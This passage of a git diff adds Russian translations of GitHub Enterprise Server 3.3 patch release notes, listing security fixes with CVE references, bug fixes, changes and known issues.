incorrectly added directly to the repository. + - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. + - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results. + - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. + - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. + - '{% data variables.product.prodname_actions %} storage settings cannot be validated and saved in the {% data variables.enterprise.management_console %} when "Force Path Style" is selected, and must instead be configured with the `ghe-actions-precheck` command line utility.' + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' + - The [file finder](/search-github/searching-on-github/finding-files-on-github) does not return any results. To restore functionality, reinstall the 3.3.12 patch release using a full upgrade package. For more information, see "[Upgrading GitHub Enterprise Server](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#upgrading-with-an-upgrade-package)." \ No newline at end of file diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-3/13.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-3/13.yml new file mode 100644 index 000000000000..0b9a77422f6f --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-3/13.yml @@ -0,0 +1,23 @@ +date: '2022-08-30' +sections: + bugs: + - 'После разблокировки репозитория для временного доступа администратор сайта не мог управлять параметрами продуктов безопасности в репозитории.' + - 'Дубликаты административных ключей SSH могли появляться как в консоли управления, так и в файле "/home/admin/.ssh/authorized_keys".' + - 'В некоторых случаях выполнение ghe-cluster-config-apply может реплицировать пустую конфигурацию на существующие узлы в кластере.' + - 'В некоторых случаях выполнения конфигурации, запущенные с помощью ghe-config-apply, не завершались или возвращали ошибку "Несоответствие количества контейнеров".' + - 'После обновления самозаверяющего сертификата TLS на экземпляре GitHub Enterprise Server элементы пользовательского интерфейса на некоторых страницах веб-интерфейса не отображались.' + - 'В некоторых случаях фоновые задачи могли останавливаться из-за того, что параллельно использовалась библиотека, несмотря на то, что она не является потокобезопасной.' + changes: + - 'Создание пакетов поддержки происходит быстрее благодаря параллельной очистке журналов. Дополнительные сведения о пакетах поддержки см. в статье [Предоставление данных поддержке GitHub](/support/contacting-github-support/providing-data-to-github-support).' + - 'Журнал аудита предприятия теперь включает больше пользовательских событий, таких как project.create. REST API также возвращает дополнительные события, созданные пользователем, такие как repo.create. Дополнительные сведения см. в статье [Доступ к журналу аудита для вашего предприятия](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for -your-enterprise) и разделе [Использование API журнала аудита для вашего предприятия](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit- log-api-for-your-enterprise#querying-the-audit-log-rest-api).' + known_issues: + - "После обновления до {% data variables.product.prodname_ghe_server %}\_3.3 {% data variables.product.prodname_actions %} может не запускаться автоматически. Чтобы устранить эту проблему, подключите устройство через SSH и выполните команду ghe-actions-start." + - 'Злоумышленник мог создать первого пользователя с правами администратора на только что настроенном экземпляре {% data variables.product.prodname_ghe_server %} без пользователей.' + - 'Настраиваемые правила брандмауэра удаляются в процессе обновления.' + - "Отслеживаемые файлы Git\_LFS, [отправленные через веб-интерфейс](https://github.com/blog/2105-upload-files-to-your-repositories), ошибочно добавлялись напрямую в репозиторий." + - "Проблемы нельзя закрыть, если они содержат постоянную ссылку на большой двоичный объект в том же репозитории, где путь к файлу большого двоичного объекта превышает 255\_символов." + - 'Когда параметр Users can search GitHub.com (Пользователи могут выполнять поиск на GitHub.com) включен с {% data variables.product.prodname_github_connect %}, проблемы в частных и внутренних репозиториях не включаются в результаты поиска в {% data variables.product.prodname_dotcom_the_website %}.' + - 'Реестр npm {% data variables.product.prodname_registry %} больше не возвращает значение времени в ответах метаданных. Это изменение позволяет существенно улучшить производительность. Мы продолжим хранить все данные, необходимые для возврата значения времени в качестве части ответа метаданных, и возобновим возврат этого значения в будущем, как только решим существующие проблемы с производительностью.' + - 'Ограничения ресурсов, относящиеся к обработке перехватчиков перед получением, могут приводить к сбою некоторых из них.' + - 'Параметры хранилища {% data variables.product.prodname_actions %} нельзя проверить и сохранить в {% data variables.enterprise.management_console %}, когда выбран Force Path Style (Принудительно задать стиль пути). Их нужно настраивать с помощью служебной программы командной строки ghe-actions-precheck.' + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-3/2.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-3/2.yml new file mode 100644 index 000000000000..d33dfaefcc98 --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-3/2.yml @@ -0,0 +1,32 @@ +date: '2022-01-18' +sections: + security_fixes: + - "В пакетах обновлены системы безопасности до последних версий. В этих обновлениях версия Log4j обновлена до\_2.17.1. Примечание. Предыдущие выпуски устранения рисков в версиях 3.3.1, 3.2.6, 3.1.14 и\_3.0.22 должны быть достаточными для устранения последствий CVE-2021-44228, CVE-2021-45046, CVE-2021-45105 и CVE-2021-44832 в этих версиях GitHub Enterprise\_Server." + - 'Очистка дополнительных секретов в создаваемых пакетах поддержки.' + - 'Пользователи команд с ролью "Диспетчер безопасности" теперь будут получать уведомления об оповещениях безопасности для репозиториев, за которыми они наблюдают.' + - 'Компонент "Диспечеры безопасности" выдаст менее навязчивое предупреждение, когда будет достигнуто максимальное количество команд.' + - 'При попытке удалить команду диспетчера безопасности из репозитория на странице управления доступом к репозиторию должна возвращаться ошибка 403.' + - 'В пакетах обновлены системы безопасности до последних версий.' + bugs: + - 'Локальным средствам выполнения тестов Actions не удавалось выполнить самостоятельное обновление или запуск новых заданий после обновления с более старой установки GHES.' + - 'Параметры хранения не удавалось проверить при настройке MinIO в качестве Хранилища BLOB-объектов для GitHub Packages.' + - 'Параметры хранилища GitHub Actions не удавалось проверить и сохранить в консоли управления, если был выбран вариант Force Path Style (Принудительно применить стиль пути).' + - 'После обновления с заданным режимом обслуживания служба Actions могла оставаться в остановленном состоянии.' + - 'Иногда мог происходить сбой выполнения ghe-config-apply из-за проблем с разрешениями в /data/user/tmp/pages.' + - 'Кнопка сохранения в консоли управления была недоступна при прокрутке экрана в браузерах с низким разрешением.' + - 'После обновления версии collectd не обновлялись графики мониторинга операций ввода-вывода в секунду и трафика хранилища.' + - 'Некоторые задания, связанные с веб-перехватчиком, могли выдавать большой объем журналов.' + - 'На страницах администратора сайта был виден навигационный элемент Billing.' + - "Несколько ссылок на документацию выдавали ошибку \"404\_— не найдено\"." + known_issues: + - "После обновления до {% data variables.product.prodname_ghe_server %}\_3.3 {% data variables.product.prodname_actions %} может не запускаться автоматически. Чтобы устранить эту проблему, подключите устройство через SSH и выполните команду ghe-actions-start." + - 'Злоумышленник мог создать первого пользователя с правами администратора на только что настроенном экземпляре {% data variables.product.prodname_ghe_server %} без пользователей.' + - 'Настраиваемые правила брандмауэра удаляются в процессе обновления.' + - "Отслеживаемые файлы Git\_LFS, [отправленные через веб-интерфейс](https://github.com/blog/2105-upload-files-to-your-repositories), ошибочно добавлялись напрямую в репозиторий." + - "Проблемы нельзя закрыть, если они содержат постоянную ссылку на большой двоичный объект в том же репозитории, где путь к файлу большого двоичного объекта превышает 255\_символов." + - "Когда в GitHub\_Connect включен параметр Users can search GitHub.com (Пользователи могут выполнять поиск на GitHub.com), результаты поиска на GitHub.com не включают в себя проблемы в частных и внутренних репозиториях." + - 'Реестр npm {% data variables.product.prodname_registry %} больше не возвращает значение времени в ответах метаданных. Это изменение позволяет существенно улучшить производительность. Мы продолжим хранить все данные, необходимые для возврата значения времени в качестве части ответа метаданных, и возобновим возврат этого значения в будущем, как только решим существующие проблемы с производительностью.' + - 'Ограничения ресурсов, относящиеся к обработке перехватчиков перед получением, могут приводить к сбою некоторых из них.' + - 'Параметры хранилища {% data variables.product.prodname_actions %} нельзя проверить и сохранить в {% data variables.enterprise.management_console %}, когда выбран Force Path Style (Принудительно задать стиль пути). Их нужно настраивать с помощью служебной программы командной строки ghe-actions-precheck.' + - "Экземпляры {% data variables.product.prodname_ghe_server %} версии\_3.3, установленные в Azure и снабженные 32+\_ядрами ЦП, не запускались из-за ошибки, присутствующей в текущем ядре Linux. [Обновлено: 08.04.2022]" + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-3/3.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-3/3.yml new file mode 100644 index 000000000000..357deb0c581e --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-3/3.yml @@ -0,0 +1,30 @@ +date: '2022-02-01' +sections: + security_fixes: + - '**СРЕДНИЙ**: вызовы API проверки секретов могли возвращать оповещения для репозиториев, не входящих в область действия запроса.' + - 'В пакетах обновлены системы безопасности до последних версий.' + bugs: + - 'Страницы становились недоступными после смены секрета MySQL до тех пор, пока nginx не был перезапущен вручную.' + - 'Миграция могла не выполняться, если включить {% data variables.product.prodname_actions %}.' + - "При настройке расписания обслуживания с датой в формате ISO\_8601 фактическое запланированное время могло не соответствовать из-за того, что часовой пояс не преобразовывается в UTC." + - 'Ложные сообщения об ошибках, касающиеся cloud-config.service, могли выводиться в консоль.' + - 'Номер версии мог не корректно обновляться после установки горячего исправления с использованием ghe-cluster-each.' + - 'Задания очистки таблицы веб-перехватчика могли выполняться одновременно, приводя к состязанию за ресурсы и увеличивая время выполнения задания.' + - 'При выполнении с основного сервера ghe-repl-teardown на реплике не удаляет реплику из группы доступности MSSQL.' + - 'Возможность ограничить уведомления по электронной почте пользователями с адресами электронной почты на подтвержденном или утвержденном домене работала неправильно.' + - 'При применении проверки подлинности CAS и включенном параметре Reactivate suspended users (Возобновлять приостановленный доступ пользователей) не выполнялась автоматическая повторная активация.' + - 'Длительный перенос базы данных, связанный с параметрами оповещений системы безопасности, мог привести к задержке завершения обновления.' + changes: + - "Запись подключения к данным GitHub\_Connect теперь содержит число активных и неактивных пользователей, а также настроенный период неактивности." + known_issues: + - "После обновления до {% data variables.product.prodname_ghe_server %}\_3.3 {% data variables.product.prodname_actions %} может не запускаться автоматически. Чтобы устранить эту проблему, подключите устройство через SSH и выполните команду ghe-actions-start." + - 'Злоумышленник мог создать первого пользователя с правами администратора на только что настроенном экземпляре {% data variables.product.prodname_ghe_server %} без пользователей.' + - 'Настраиваемые правила брандмауэра удаляются в процессе обновления.' + - "Отслеживаемые файлы Git\_LFS, [отправленные через веб-интерфейс](https://github.com/blog/2105-upload-files-to-your-repositories), ошибочно добавлялись напрямую в репозиторий." + - "Проблемы нельзя закрыть, если они содержат постоянную ссылку на большой двоичный объект в том же репозитории, где путь к файлу большого двоичного объекта превышает 255\_символов." + - "Когда в GitHub\_Connect включен параметр Users can search GitHub.com (Пользователи могут выполнять поиск на GitHub.com), результаты поиска на GitHub.com не включают в себя проблемы в частных и внутренних репозиториях." + - 'Реестр npm {% data variables.product.prodname_registry %} больше не возвращает значение времени в ответах метаданных. Это изменение позволяет существенно улучшить производительность. Мы продолжим хранить все данные, необходимые для возврата значения времени в качестве части ответа метаданных, и возобновим возврат этого значения в будущем, как только решим существующие проблемы с производительностью.' + - 'Ограничения ресурсов, относящиеся к обработке перехватчиков перед получением, могут приводить к сбою некоторых из них.' + - 'Параметры хранилища {% data variables.product.prodname_actions %} нельзя проверить и сохранить в {% data variables.enterprise.management_console %}, когда выбран Force Path Style (Принудительно задать стиль пути). Их нужно настраивать с помощью служебной программы командной строки ghe-actions-precheck.' + - "Экземпляры {% data variables.product.prodname_ghe_server %} версии\_3.3, установленные в Azure и снабженные 32+\_ядрами ЦП, не запускались из-за ошибки, присутствующей в текущем ядре Linux. [Обновлено: 08.04.2022]" + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-3/4.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-3/4.yml new file mode 100644 index 000000000000..2c3e933d3fee --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-3/4.yml @@ -0,0 +1,25 @@ +date: '2022-02-17' +sections: + security_fixes: + - 'Пользователь мог зарегистрировать пользователя или организацию с именем saml.' + - 'В пакетах обновлены системы безопасности до последних версий.' + bugs: + - 'Параметры хранилища пакетов GitHub не могли быть проверены и сохранены в консоли управления при использовании хранилища BLOB-объектов Azure.' + - 'Параметр конфигурации mssql.backup.cadence не проходил проверку ghe-config-check с предупреждением о недопустимом наборе символов.' + - 'Исправлена ошибка SystemStackError (слишком глубокий стек) при получении более 2^16 ключей от Memcached.' + - 'Некоторые меню выбора на сайте отображались неправильно и не работали.' + changes: + - 'Граф зависимостей теперь можно включить без данных об уязвимостях, что позволяет клиентам видеть, какие зависимости используются и в каких версиях. Включение графа зависимостей без включения GitHub Connect *не* предоставит информацию об уязвимостях.' + - 'Сканирование секретов не будет проверять ZIP и другие архивные файлы на наличие секретов.' + known_issues: + - "После обновления до {% data variables.product.prodname_ghe_server %}\_3.3 {% data variables.product.prodname_actions %} может не запускаться автоматически. Чтобы устранить эту проблему, подключите устройство через SSH и выполните команду ghe-actions-start." + - 'Злоумышленник мог создать первого пользователя с правами администратора на только что настроенном экземпляре {% data variables.product.prodname_ghe_server %} без пользователей.' + - 'Настраиваемые правила брандмауэра удаляются в процессе обновления.' + - "Отслеживаемые файлы Git\_LFS, [отправленные через веб-интерфейс](https://github.com/blog/2105-upload-files-to-your-repositories), ошибочно добавлялись напрямую в репозиторий." + - "Проблемы нельзя закрыть, если они содержат постоянную ссылку на большой двоичный объект в том же репозитории, где путь к файлу большого двоичного объекта превышает 255\_символов." + - "Когда в GitHub\_Connect включен параметр Users can search GitHub.com (Пользователи могут выполнять поиск на GitHub.com), результаты поиска на GitHub.com не включают в себя проблемы в частных и внутренних репозиториях." + - 'Реестр npm {% data variables.product.prodname_registry %} больше не возвращает значение времени в ответах метаданных. Это изменение позволяет существенно улучшить производительность. Мы продолжим хранить все данные, необходимые для возврата значения времени в качестве части ответа метаданных, и возобновим возврат этого значения в будущем, как только решим существующие проблемы с производительностью.' + - 'Ограничения ресурсов, относящиеся к обработке перехватчиков перед получением, могут приводить к сбою некоторых из них.' + - 'Параметры хранилища {% data variables.product.prodname_actions %} нельзя проверить и сохранить в {% data variables.enterprise.management_console %}, когда выбран Force Path Style (Принудительно задать стиль пути). Их нужно настраивать с помощью служебной программы командной строки ghe-actions-precheck.' + - "Экземпляры {% data variables.product.prodname_ghe_server %} версии\_3.3, установленные в Azure и снабженные 32+\_ядрами ЦП, не запускались из-за ошибки, присутствующей в текущем ядре Linux. [Обновлено: 08.04.2022]" + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-3/5.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-3/5.yml new file mode 100644 index 000000000000..e7f909a81665 --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-3/5.yml @@ -0,0 +1,19 @@ +date: '2022-03-01' +sections: + security_fixes: + - "ВЫСОКИЙ: в средстве синтаксического анализа Markdown GitHub была обнаружена уязвимость целочисленного переполнения, которая потенциально может привести к утечке информации и RCE. Об этой уязвимости сообщил в рамках программы GitHub Bug Bounty Феликс Вильгельм из Google Project Zero, и ей присвоен код CVE-2022-24724." + bugs: + - "Обновления иногда могли завершаться сбоем, если часы высокой доступности реплики не синхронизировались с основными." + - "Приложения OAuth, созданные после 1 сентября 2020 года, не могли использовать [Проверить авторизацию] конечной точки API (https://docs.github.com/en/enterprise-server@3.3/rest/reference/apps#check-an-authorization)." + known_issues: + - "После обновления до {% data variables.product.prodname_ghe_server %} 3.3 {% data variables.product.prodname_actions %} может не запускаться автоматически. Чтобы устранить эту проблему, подключите устройство через SSH и выполните команду ghe-actions-start." + - "Злоумышленник мог создать первого пользователя с правами администратора на только что настроенном экземпляре {% data variables.product.prodname_ghe_server %} без пользователей." + - Настраиваемые правила брандмауэра удаляются в процессе обновления. + - "Отслеживаемые файлы Git LFS, [отправленные через веб-интерфейс](https://github.com/blog/2105-upload-files-to-your-repositories), ошибочно добавлялись напрямую в репозиторий." + - "Проблемы нельзя закрыть, если они содержат постоянную ссылку на большой двоичный объект в том же репозитории, где путь к файлу большого двоичного объекта превышает 255 символов." + - "Когда в GitHub Connect включен параметр Users can search GitHub.com (Пользователи могут выполнять поиск на GitHub.com), результаты поиска на GitHub.com не включают в себя проблемы в частных и внутренних репозиториях." + - "Реестр npm {% data variables.product.prodname_registry %} больше не возвращает значение времени в ответах метаданных. Это изменение позволяет существенно улучшить производительность. Мы продолжим хранить все данные, необходимые для возврата значения времени в качестве части ответа метаданных, и возобновим возврат этого значения в будущем, как только решим существующие проблемы с производительностью." + - "Ограничения ресурсов, относящиеся к обработке перехватчиков перед получением, могут приводить к сбою некоторых из них." + - 'Параметры хранилища {% data variables.product.prodname_actions %} нельзя проверить и сохранить в {% data variables.enterprise.management_console %}, когда выбран Force Path Style (Принудительно задать стиль пути). Их нужно настраивать с помощью служебной программы командной строки ghe-actions-precheck.' + - 'Экземпляры {% data variables.product.prodname_ghe_server %} версии 3.3, установленные в Azure и снабженные 32+ ядрами ЦП, не запускались из-за ошибки, присутствующей в текущем ядре Linux. [Обновлено: 08.04.2022]' + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-3/6.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-3/6.yml new file mode 100644 index 000000000000..b02ce5a314db --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-3/6.yml @@ -0,0 +1,50 @@ +date: '2022-04-04' +sections: + security_fixes: + - 'СРЕДНИЙ. Выявлена уязвимость, связанная с обходом каталога, в консоли управления {% data variables.product.prodname_ghe_server %}, позволяющая обойти защиту CSRF. Эта уязвимость затрагивала все версии {% data variables.product.prodname_ghe_server %} до 3.5. Она устранена в версиях 3.1.19, 3.2.11, 3.3.6, 3.4.1. Уязвимость стала известной в рамках программы {% data variables.product.prodname_dotcom %} Bug Bounty и получила код CVE-2022-23732.' + - "СРЕДНИЙ. Выявлена уязвимость целочисленного переполнения в ветви 1.х и 2.х yajil, что приводит к последующему повреждению памяти кучи при работе с большими (~2\_ГБ) входными данными. Об этой уязвимости сообщено внутренне, и ей был присвоен код CVE-2022-24795. " + - 'Пакеты поддержки могут содержать конфиденциальные файлы, если включить {% data variables.product.prodname_actions %}.' + - 'В пакетах обновлены системы безопасности до последних версий.' + bugs: + - 'При включении {% data variables.product.prodname_dependabot %} возникла ошибка, из-за которой некоторые рекомендации по безопасности временно считались неприменимыми.' + - 'Процессы MinIO будут иметь высокую загрузку ЦП, если после обновления {% data variables.product.prodname_ghe_server %} присутствует старый параметр конфигурации.' + - "Были показаны параметры для включения TLS\_1.0 и TLS\_1.1 в настройках конфиденциальности консоли управления, хотя удаление этих версий протокола произошло в более ранней версии." + - 'В среде с высокой доступностью для настройки репликации MSSQL могут потребоваться дополнительные действия вручную после первого включения {% data variables.product.prodname_actions %}.' + - 'Подмножество внутренних файлов конфигурации более надежно обновляется после горячего исправления.' + - 'Скрипт ghe-run-migrations иногда не может правильно генерировать имена временных сертификатов.' + - 'В кластерной среде операции Git LFS могут завершиться сбоем внутренних вызовов API на нескольких веб-узлах.' + - 'Время ожидания перехватчиков предварительного получения, которые использовали gpg --import, истекло из-за недостаточных привилегий syscall.' + - 'В некоторых топологиях кластера сведения о доставке веб-перехватчиков была недоступна.' + - 'Проверки работоспособности Elasticsearch не допускают желтое состояние кластера при выполнении миграции.' + - 'Репозитории могли отображать нефункциональную вкладку "Обсуждения" в веб-интерфейсе.' + - 'Организации, созданные в результате преобразования пользователем своей учетной записи в организацию, не добавляются в глобальную корпоративную учетную запись.' + - 'Ссылки на недоступные страницы удалены.' + - 'Граф развертывания {% data variables.product.prodname_actions %} отображает ошибку во время преобразования для просмотра ожидающего задания.' + - 'Некоторые экземпляры испытывали высокую нагрузку на ЦП из-за большого количества ненужных фоновых заданий в очереди.' + - 'При попытке синхронизации ранее синхронизированных ключей GPG задания синхронизации пользователей LDAP завершались сбоем.' + - 'Переход по ссылке на запрос на вытягивание из панели мониторинга "Запрос на вытягивание" приводил к тому, что заголовок репозитория не загружался.' + - 'Добавление команды в качестве рецензента в запрос на вытягивание иногда отображает неправильное количество участников в этой команде.' + - 'При попытке удалить члена команды, управляемого извне через SCIM Group, конечная точка API для удаления члена команды выдавала ошибку.' + - 'Большое количество неактивных пользователей могло приводить к сбою конфигурации {% data variables.product.prodname_github_connect %}.' + - 'Страница "Регистрация возможностей и бета-версий" в пользовательском веб-интерфейсе администратора сайта была доступна, однако не должным образом.' + - 'Ссылка "Режим администратора сайта" в нижнем колонтитуле сайта не изменила состояние после щелчка.' + - 'Команда spokectl cache-policy rm больше не завершается сбоем с сообщением "ошибка: не удалось удалить политику кеша".' + changes: + - 'Ограничения на подключения Memcached были увеличены, чтобы лучше соответствовать топологиям больших кластеров.' + - 'API графа зависимостей ранее работал со статически определенным портом.' + - 'Количество сегментов по умолчанию для связанных с кластером настроек сегментов Elasticsearch было обновлено.' + - 'Улучшен текст для пунктов раскрывающегося меню, который появлялся при фильтрации участников предприятия по роли в организации на странице "Люди".' + - 'Роли команд "Рассмотрение" и "Обслуживание" сохраняются при миграциях репозитория.' + - 'Для веб-запросов, созданных владельцами предприятий, была улучшена производительность.' + known_issues: + - "После обновления до {% data variables.product.prodname_ghe_server %}\_3.3 {% data variables.product.prodname_actions %} может не запускаться автоматически. Чтобы устранить эту проблему, подключите устройство через SSH и выполните команду ghe-actions-start." + - 'Злоумышленник мог создать первого пользователя с правами администратора на только что настроенном экземпляре {% data variables.product.prodname_ghe_server %} без пользователей.' + - 'Настраиваемые правила брандмауэра удаляются в процессе обновления.' + - "Отслеживаемые файлы Git\_LFS, [отправленные через веб-интерфейс](https://github.com/blog/2105-upload-files-to-your-repositories), ошибочно добавлялись напрямую в репозиторий." + - "Проблемы нельзя закрыть, если они содержат постоянную ссылку на большой двоичный объект в том же репозитории, где путь к файлу большого двоичного объекта превышает 255\_символов." + - 'Когда параметр Users can search GitHub.com (Пользователи могут выполнять поиск на GitHub.com) включен с {% data variables.product.prodname_github_connect %}, проблемы в частных и внутренних репозиториях не включаются в результаты поиска в {% data variables.product.prodname_dotcom_the_website %}.' + - 'Реестр npm {% data variables.product.prodname_registry %} больше не возвращает значение времени в ответах метаданных. Это изменение позволяет существенно улучшить производительность. Мы продолжим хранить все данные, необходимые для возврата значения времени в качестве части ответа метаданных, и возобновим возврат этого значения в будущем, как только решим существующие проблемы с производительностью.' + - 'Ограничения ресурсов, относящиеся к обработке перехватчиков перед получением, могут приводить к сбою некоторых из них.' + - 'Параметры хранилища {% data variables.product.prodname_actions %} нельзя проверить и сохранить в {% data variables.enterprise.management_console %}, когда выбран Force Path Style (Принудительно задать стиль пути). Их нужно настраивать с помощью служебной программы командной строки ghe-actions-precheck.' + - "Экземпляры {% data variables.product.prodname_ghe_server %} версии\_3.3, установленные в Azure и снабженные 32+\_ядрами ЦП, не запускались из-за ошибки, присутствующей в текущем ядре Linux. [Обновлено: 08.04.2022]" + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-3/7.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-3/7.yml new file mode 100644 index 000000000000..cace5ffd4736 --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-3/7.yml @@ -0,0 +1,32 @@ +date: '2022-04-20' +sections: + security_fixes: + - 'В пакетах обновлены системы безопасности до последних версий.' + bugs: + - 'При удалении файла манифеста из репозитория манифест не удалялся со страницы "Граф зависимостей" репозитория.' + - 'Устранена регрессия, которая могла приводить к постоянным сбоям при получении артефактов и загрузке архивов журналов для {% data variables.product.prodname_actions %}. В некоторых случаях мы перестали разрешать URL-адреса для внутренних соединений, в которых использовался localhost, но вместо этого неверно применялось имя узла экземпляра.' + - 'Обновление узлов в паре с высокой доступностью и с помощью пакета обновления в некоторых случаях могло привести к тому, что Elasticsearch переходил в несогласованное состояние.' + - 'Измененные файлы журналов с расширением .backup будут храниться в каталогах, содержащих системные журналы.' + - 'В некоторых топологиях кластеров не запускались служебные программы командной строки ghe-spokesctl и ghe-btop.' + - 'Индексы Elasticsearch могли дублироваться во время обновления пакета из-за многократного параллельного запуска службы elasticsearch-upgrade.' + - 'В представлениях запроса на вытягивание и фиксацию расширенные различия не загружались для некоторых файлов, отслеживаемых Git LFS.' + - 'При преобразовании учетной записи пользователя в организацию, если учетная запись пользователя являлась владельцем корпоративной учетной записи {% data variables.product.prodname_ghe_server %}, преобразованная организация некорректно отображалась в списке владельцев предприятия.' + - 'Создание токена OAuth для олицетворения с помощью REST API администрирования предприятия приводило к ошибке, если интеграция, соответствующая идентификатору приложения OAuth, уже существовала.' + - 'REST API сканирования секретов возвращал код отклика 500, если в обнаруженном секрете присутствовали символы UTF8.' + - 'Серверы кэша репозитория могли обслуживать данные не из кэша, даже если эти данные были доступны в локальном кэше.' + changes: + - 'Ошибки конфигурации, останавливающие выполнение config apply, теперь выводятся на терминал в дополнение к журналу конфигурации.' + - 'При попытке кэшировать значение, превышающее максимально допустимое в Memcached, возникала ошибка, однако ключ не сообщался.' + - 'Если на вашем экземпляре включены возможности {% data variables.product.prodname_GH_advanced_security %}, вы заметите улучшение производительности фоновых заданий при обработке пакетов для вкладов в репозиторий.' + known_issues: + - "После обновления до {% data variables.product.prodname_ghe_server %}\_3.3 {% data variables.product.prodname_actions %} может не запускаться автоматически. Чтобы устранить эту проблему, подключите устройство через SSH и выполните команду ghe-actions-start." + - 'Злоумышленник мог создать первого пользователя с правами администратора на только что настроенном экземпляре {% data variables.product.prodname_ghe_server %} без пользователей.' + - 'Настраиваемые правила брандмауэра удаляются в процессе обновления.' + - "Отслеживаемые файлы Git\_LFS, [отправленные через веб-интерфейс](https://github.com/blog/2105-upload-files-to-your-repositories), ошибочно добавлялись напрямую в репозиторий." + - "Проблемы нельзя закрыть, если они содержат постоянную ссылку на большой двоичный объект в том же репозитории, где путь к файлу большого двоичного объекта превышает 255\_символов." + - 'Когда параметр Users can search GitHub.com (Пользователи могут выполнять поиск на GitHub.com) включен с {% data variables.product.prodname_github_connect %}, проблемы в частных и внутренних репозиториях не включаются в результаты поиска в {% data variables.product.prodname_dotcom_the_website %}.' + - 'Реестр npm {% data variables.product.prodname_registry %} больше не возвращает значение времени в ответах метаданных. Это изменение позволяет существенно улучшить производительность. Мы продолжим хранить все данные, необходимые для возврата значения времени в качестве части ответа метаданных, и возобновим возврат этого значения в будущем, как только решим существующие проблемы с производительностью.' + - 'Ограничения ресурсов, относящиеся к обработке перехватчиков перед получением, могут приводить к сбою некоторых из них.' + - 'Параметры хранилища {% data variables.product.prodname_actions %} нельзя проверить и сохранить в {% data variables.enterprise.management_console %}, когда выбран Force Path Style (Принудительно задать стиль пути). Их нужно настраивать с помощью служебной программы командной строки ghe-actions-precheck.' + - "Экземпляры {% data variables.product.prodname_ghe_server %} версии\_3.3, установленные в Azure и снабженные 32+\_ядрами ЦП, не запускались из-за ошибки, присутствующей в текущем ядре Linux. [Обновлено: 08.04.2022]" + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-3/8.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-3/8.yml new file mode 100644 index 000000000000..c61de1243036 --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-3/8.yml @@ -0,0 +1,34 @@ +date: '2022-05-17' +sections: + security_fixes: + - "**СРЕДНИЙ.** В сопоставителе nginx была обнаружена проблема безопасности, при которой злоумышленник, способный подделать пакеты UDP с DNS-сервера, мог осуществить перезапись 1\_байта памяти, что приводило к сбоям рабочих процессов или другим потенциально опасным последствиям. Этой уязвимости назначен номер [CVE-2021-23017](https://nvd.nist.gov/vuln/detail/CVE-2021-23017)." + - 'Обновлены действия actions/checkout@v2 и actions/checkout@v3 для устранения новых уязвимостей, объявленных в [блоге по обеспечению безопасности Git](https://github.blog/2022-04-12-git-security-vulnerability-announced/).' + - 'В пакетах обновлены системы безопасности до последних версий.' + bugs: + - 'В некоторых топологиях кластеров команда ghe-cluster-status оставляла пустые каталоги в /tmp.' + - 'Протокол SNMP неправильно регистрировал большое количество сообщений об ошибках Cannot statfs в syslog.' + - 'Для экземпляров, настроенных с использованием проверки подлинности SAML и включенным встроенным откатом, встроенные пользователи застревали в цикле "login" при попытке войти в систему со страницы, созданной после выхода из системы.' + - "Попытки просмотреть вывод git fsck со страницы /stafftools/repositories/:owner/:repo/disk завершались ошибкой \"500\_— внутренняя ошибка сервера\"." + - 'При использовании зашифрованных утверждений SAML некоторые утверждения неправильно помечали ключи SSH как проверенные.' + - 'Загруженные в комментарии к проблеме видео не отрисовывались должным образом.' + - 'При использовании средства поиска файлов на странице репозитория ввод клавишей backspace в поле поиска приводил к тому, что результаты поиска перечислялись несколько раз и вызывали проблемы с отрисовкой.' + - 'При использовании GitHub Enterprise Importer для импорта репозитория некоторые элементы не импортировались из-за неправильно настроенных событий временной шкалы проекта.' + - 'При использовании ghe-migrator во время миграции не удавалось импортировать вложения видеофайлов в вопросах и запросах на вытягивание.' + - 'Страница "Выпуски" возвращала ошибку 500, когда репозиторий имел теги, содержащие символы, отличные от ASCII. [Обновлено: 10.06.2022]' + changes: + - 'В конфигурациях высокой доступности необходимо 